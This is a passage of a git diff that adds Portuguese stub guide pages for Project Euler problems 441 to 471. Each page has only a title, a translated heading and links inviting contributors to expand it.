+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md
new file mode 100644
index 0000000000..4b5ff410cf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md
@@ -0,0 +1,9 @@
+---
+title: The inverse summation of coprime couples
+localeTitle: A soma inversa dos casais de coprime
+---
+## Problema 441: A Soma Inversa dos Casais de Coprime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-441-the-inverse-summation-of-coprime-couples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md
new file mode 100644
index 0000000000..59b9e396e5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Eleven-free integers
+localeTitle: Inteiros sem onze
+---
+## Problema 442: Inteiros sem onze
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-442-eleven-free-integers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md
new file mode 100644
index 0000000000..206362e6c3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: GCD sequence
+localeTitle: Sequência GCD
+---
+## Problema 443: sequência do GCD
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-443-gcd-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md
new file mode 100644
index 0000000000..601c774351
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md
@@ -0,0 +1,9 @@
+---
+title: The Roundtable Lottery
+localeTitle: A loteria da mesa redonda
+---
+## Problema 444: A Loteria da Mesa Redonda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-444-the-roundtable-lottery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md
new file mode 100644
index 0000000000..fb8ca0b5ae
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions A
+localeTitle: Retractions A
+---
+## Problema 445: Retractions A
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-445-retractions-a/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md
new file mode 100644
index 0000000000..ae3297452c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions B
+localeTitle: Retrações B
+---
+## Problema 446: Retractions B
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-446-retractions-b/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md
new file mode 100644
index 0000000000..93c1bc681c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md
@@ -0,0 +1,9 @@
+---
+title: Retractions C
+localeTitle: Retrações C
+---
+## Problema 447: Retractions C
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-447-retractions-c/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md
new file mode 100644
index 0000000000..af5c267a52
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md
@@ -0,0 +1,9 @@
+---
+title: Average least common multiple
+localeTitle: Múltiplo menos comum comum
+---
+## Problema 448: Múltiplo menos comum comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-448-average-least-common-multiple/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md
new file mode 100644
index 0000000000..9aba384d11
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md
@@ -0,0 +1,9 @@
+---
+title: Chocolate covered candy
+localeTitle: Doces com cobertura de chocolate
+---
+## Problema 449: Doces com cobertura de chocolate
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-449-chocolate-covered-candy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md
new file mode 100644
index 0000000000..35ecfa841c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangular, pentagonal, and hexagonal
+localeTitle: Triangular, pentagonal e hexagonal
+---
+## Problema 45: Triangular, pentagonal e hexagonal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-45-triangular-pentagonal-and-hexagonal/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md
new file mode 100644
index 0000000000..53c9320c97
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md
@@ -0,0 +1,9 @@
+---
+title: Hypocycloid and Lattice points
+localeTitle: Pontos Hipocicloides e Lattice
+---
+## Problema 450: Pontos Hipocicloides e Lattice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-450-hypocycloid-and-lattice-points/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md
new file mode 100644
index 0000000000..66eb93192e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular inverses
+localeTitle: Modular reverso
+---
+## Problema 451: inversos modulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md
new file mode 100644
index 0000000000..2bf3fcb1e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Long Products
+localeTitle: Produtos Longos
+---
+## Problema 452: Produtos Longos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md
new file mode 100644
index 0000000000..e8ee23a617
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice Quadrilaterals
+localeTitle: Quadriláteros de treliça
+---
+## Problema 453: quadriláteros de treliça
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md
new file mode 100644
index 0000000000..42767ad5bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine reciprocals III
+localeTitle: Recíprocos diofantinos III
+---
+## Problema 454: Recíprocos Diofantinos III
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md
new file mode 100644
index 0000000000..d66aac6396
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Powers With Trailing Digits
+localeTitle: Poderes com Dígitos de Arrasto
+---
+## Problema 455: Poderes com Dígitos de Arrasto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md
new file mode 100644
index 0000000000..08f4e6cd08
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles containing the origin II
+localeTitle: Triângulos contendo a origem II
+---
+## Problema 456: Triângulos contendo a origem II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
new file mode 100644
index 0000000000..c9c740396d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: A polynomial modulo the square of a prime
+localeTitle: Um módulo polinomial o quadrado de um primo
+---
+## Problema 457: Um módulo polinomial o quadrado de um primo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
new file mode 100644
index 0000000000..c588808443
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutations of Project
+localeTitle: Permutações do Projeto
+---
+## Problema 458: Permutações do Projeto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
new file mode 100644
index 0000000000..5d03dc8c2f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Flipping game
+localeTitle: Lançando jogo
+---
+## Problema 459: jogando o jogo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
new file mode 100644
index 0000000000..26e43b0682
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
@@ -0,0 +1,9 @@
+---
+title: Goldbach's other conjecture
+localeTitle: Outra conjectura de Goldbach
+---
+## Problema 46: outra conjectura de Goldbach
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
new file mode 100644
index 0000000000..7166fb0368
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
@@ -0,0 +1,9 @@
+---
+title: An ant on the move
+localeTitle: Uma formiga em movimento
+---
+## Problema 460: uma formiga em movimento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
new file mode 100644
index 0000000000..f5c412155d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost Pi
+localeTitle: Quase pi
+---
+## Problema 461: Quase Pi
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
new file mode 100644
index 0000000000..37e58631b6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutation of 3-smooth numbers
+localeTitle: Permutação de 3 números lisos
+---
+## Problema 462: Permutação de 3 números lisos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
new file mode 100644
index 0000000000..52623b03f3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
@@ -0,0 +1,9 @@
+---
+title: A weird recurrence relation
+localeTitle: Uma estranha relação de recorrência
+---
+## Problema 463: Uma estranha relação de recorrência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
new file mode 100644
index 0000000000..dad8ca8f5c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
@@ -0,0 +1,9 @@
+---
+title: Möbius function and intervals
+localeTitle: Função e intervalos Möbius
+---
+## Problema 464: Função e intervalos de Möbius
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
new file mode 100644
index 0000000000..bcf4d42ca4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Polar polygons
+localeTitle: Polígonos polares
+---
+## Problema 465: Polígonos polares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
new file mode 100644
index 0000000000..7a7b722c4c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct terms in a multiplication table
+localeTitle: Termos distintos em uma tabela de multiplicação
+---
+## Problema 466: Termos distintos em uma tabela de multiplicação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
new file mode 100644
index 0000000000..82cbb26e34
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
@@ -0,0 +1,9 @@
+---
+title: Superinteger
+localeTitle: Superinteger
+---
+## Problema 467: Superinteger
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..5e3ba5540f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Smooth divisors of binomial coefficients
+localeTitle: Divisores suaves de coeficientes binomiais
+---
+## Problema 468: divisores suaves de coeficientes binomiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
new file mode 100644
index 0000000000..95421dae6e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Empty chairs
+localeTitle: Cadeiras vazias
+---
+## Problema 469: Cadeiras vazias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
new file mode 100644
index 0000000000..25d84e4326
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct primes factors
+localeTitle: Fatores primos distintos
+---
+## Problema 47: Fatores primos distintos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
new file mode 100644
index 0000000000..21b1edc5b9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
@@ -0,0 +1,9 @@
+---
+title: Super Ramvok
+localeTitle: Super Ramvok
+---
+## Problema 470: Super Ramvok
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
new file mode 100644
index 0000000000..dfdcae3ccc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle inscribed in ellipse
+localeTitle: Triângulo inscrito na elipse
+---
+## Problema 471: Triângulo inscrito na elipse
+
